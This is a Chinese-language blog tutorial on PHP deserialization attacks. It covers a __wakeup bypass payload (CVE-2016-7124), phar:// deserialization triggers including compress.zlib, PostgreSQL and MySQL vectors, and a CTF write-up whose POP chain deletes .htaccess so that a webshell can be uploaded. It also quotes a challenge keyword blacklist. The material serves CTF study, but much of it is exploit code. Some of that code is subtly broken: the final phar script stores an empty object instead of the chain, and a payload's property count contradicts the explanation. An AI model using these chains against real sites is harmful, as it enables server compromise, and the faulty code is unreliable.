TOP10之反序列化
前言
虽然php反序列化的文章,网上一搜一大把,但是我还是想记录下,方便以后忘了自己在回头来看。
反序列化是什么?
通俗的来说:
- 序列化是将变量转换为可保存或传输的字符串的过程;
- 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用;
- 这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性;
- 序列化有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
通常在使用反序列化时都会涉及这两个函数serialize()
和unserialize()
<?
class no{
private $name='NNULLULL';
private $age='20';
private $class='no.1';
}
$no=new no;
$test=serialize($no);
echo $test;
?>
//O:2:"no":3:{s:8:"noname";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}
因为是private所以进行反序列化时需要在类名旁加%00.例如O:2:"no":3:{s:8:"%00no%00name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}
.这也解释了为什么是8个字符。
如果是protected
,则进行序列化出来的东西是O:2:"no":3:{s:8:"*name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}
,而进行反序列化的东西要在*
两端加上%00
。例如O:2:"no":3:{s:8:"%00*%00name";s:8:"NNULLULL";s:7:"noage";s:2:"20";s:9:"noclass";s:4:"no.1";}
而如果是public
则没有变化。
为什么使用php反序列化
通俗来讲:php的序列化就是为了储存数据。为了解决php对象传递的问题,PHP 文件在执行结束以后就会将对象销毁。而序列化就是为了解决这个问题,为了长久的保存对象,下一次使用对象就很方便了。
反序列化的魔术方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
__sleep() //执行serialize时调用
__wakeup() //执行unserialize时调用
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
先来举几个例子:
<?php
class SoFun{
protected $file='flag.php';
function __construct(){
echo '__construct';
echo "</br>";
}
function __sleep(){
echo '__sleep';
echo "</br>";
return array("file");
}
function __wakeup(){
echo '__wakeup';
echo "</br>";
}
function __destruct(){
echo '__destruct';
echo "</br>";
}
function __toString(){
return '__toString'."</br>";
}
}
$a=new SoFun;
$data=serialize($a);
$data1=unserialize($data);
echo $data1;
?>
上面写了魔术方法的作用,所以不在做解释了。
反序列化CTF题
绕过wakeup
引用一道ctf反序列化绕过wakeup的题
<?php
error_reporting(0);
class sercet{
private $file='index.php';
public function __construct($file){
$this->file=$file;
}
function __destruct(){
echo show_source($this->file,true);
}
function __wakeup(){
$this->file='index.php';
echo 'nononononono';
}
}
$cmd=cmd00;
if (!isset($_GET[$cmd])){
echo show_source('index.php',true);
}
else{
$cmd=base64_decode($_GET[$cmd]);
if (preg_match('/flag/i',$cmd)){
echo "Are u gaoshing?";
}
else{
unserialize($cmd);
}
}
?>
//sercet in the_next.php
我们分析源码,我们的目的是得到the_next.php文件中的内容.
反序列化的触发点是在最后一个else{unserialize($cmd)}
因为要调用unserialize函数,所以当执行代码时会调用__wakeup()
魔术方法。而执行__wakeup()
方法时,有会将file直接指向我们的index.php
而我们的目的是读取the_next.php
文件,所以在这里我们需要绕过wakeup()
;
那么问题来了怎么绕过wakeup()魔术变量呢?
这个就涉及到了CVE-2016-7124了。
当成员属性数目大于实际数目时即可绕过。
于是我们的poc如下:
<?php
class sercet{
private $file='index.php';
function __construct(){
$this->file='the_next.php';
}
}
$test = new sercet();
echo serialize($test);
得到O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}
但我们需要属性数目大于实际数目,所以这里我们需要修改为O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}
又因为是private
属性,所以要在类名前加%00.所以O:6:"sercet":1:{s:12:"%00sercet%00file";s:12:"the_next.php";}
最后base64传进去就可以了。
Phar反序列化
1,phar的文件结构
phar文件的核心必须要有
- a stub
- a mainfest describing the contents
- the file content
- a signature
stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件xxx可以为自定义内容。
manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
content
这部分就是我们想要压缩在 phar 压缩包内部的文件
signature (可空)
签名,放在末尾。
2,创建一个Phar压缩文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
注:生成phar文件需要将php.ini里面的phar.readonly选项设置为Off。并把分号去掉。保存并重启php.
后发现在目录下生成了一个phar.phar文件。
16进制打开后,发现已经将class TestObject
序列化。
自写一个验证代码,看是否执行phar反序列化
<?php
class TestObject {
public function __destruct() {
echo 'success';
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
发现成功执行
phar受影响的文件操作函数
关于这些受影响的函数,其触发原理可以参考这篇文章:https://blog.zsxsoft.com/post/38
php实战
绕过头字符的phar://
如果在ctf比赛中或者在其他的什么中,phar://
不能出现在头几个字符,我们该怎么办?
这时候我们可以利用compress.zlib://
或compress.bzip2://
函数,compress.zlib://
和compress.bzip2://
同样适用于phar://
。
代码如下
<?php
class TestObject {
public function __destruct() {
echo 'compress.zlib6666~';
}
}
$filename = 'compress.zlib://phar://phar.phar/test.txt';
@file_get_contents($filename);
?>
成功执行。
Postgres
再来个数据库吧!
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。
MySQL
我们注意到,LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
再配置一下mysqld。(这不是默认配置)
[mysqld]
local-infile=1
secure_file_priv=""
即可成功。
phar原生类序列化问题
假设我们有一个上传类如下
<?php
class Upload{
function upload($filename, $content){
//这是一个你不能修改的文件, prprprpr
}
function open($filename, $content){
//你还是不能修改, lololololol
}
}
这个上传类被.htaccess文件控制的很死,难以上传我们的小马,即使成功上传了,也不能执行,只有删除了.htaccess文件才可以,那么我们要怎么利用呢?
在这里我们可以利用ZipArchive::open
从而去删除.htaccess文件
刚好在今年2019的bytectf上的eacms就考了这个点。
view.php
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path); //调用File类
$res = $file->view_detail(); //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>
config.php
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
# 52107b08c0f3342d2153ae1d68e6262c
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{ // 检查一些关键字
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct() //类被销毁时自动触发
{
if (isset($this->checker)){
$this->checker->upload_file(); //调用upload_file()方法
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp); //
if ($this->size > 204800){
die("your file is too big");
}
#
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
//从SESSION当中取用户名和密码
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments) //当调用不存在的方式时触发
{
$this->admin->open($this->username, $this->password); //这里作为
}
}
?>
这道题开头考了个哈希长度拓展攻击,我们这里就不叙述了。
成功登陆后是一个文件上传点,并且已知道了存在.htaccess
文件。
因为.htacess文件会控制上传后的文件,所以我们这里的做法是先通过一个方法删除.htaccess
,然后再上传。
我们先看view.php
首先调用了File类中的view_detail
方法。
我们跟进File类,发现mime_content_type
其中有对文件的读取操作,所以在这里可以触发Phar反序列化。
因为有触发反序列化的点,于是我们去看看关于反序列化的魔术方法。
追踪到upload_file
函数时,里面有个check方法。
在Profile类中还有个方法调用了__Call魔术变量。__Call
在对象上下文中调用不可访问的方法时触发.
在Admin类中发现了 $profile = new Profile();
因为没有Profile类,所以触发了__Call魔术方法。在__Call
方法中可以使用原生类反序列化。
于是我们构造我们的POP链。
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$this->password = "ZipArchive::OVERWRITE";
$this->admin = new ZipArchive();
}
}
$a = new File("NNULLLULL", "NNULLLULL");
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
上传后,.htaccess文件就被删除了,这时候在重新上传一个文件直接蚁剑连接即可了。
session反序列化
在了解phpsession反序列化之前我们先了解这几个参数
https://xz.aliyun.com/t/3674#toc-13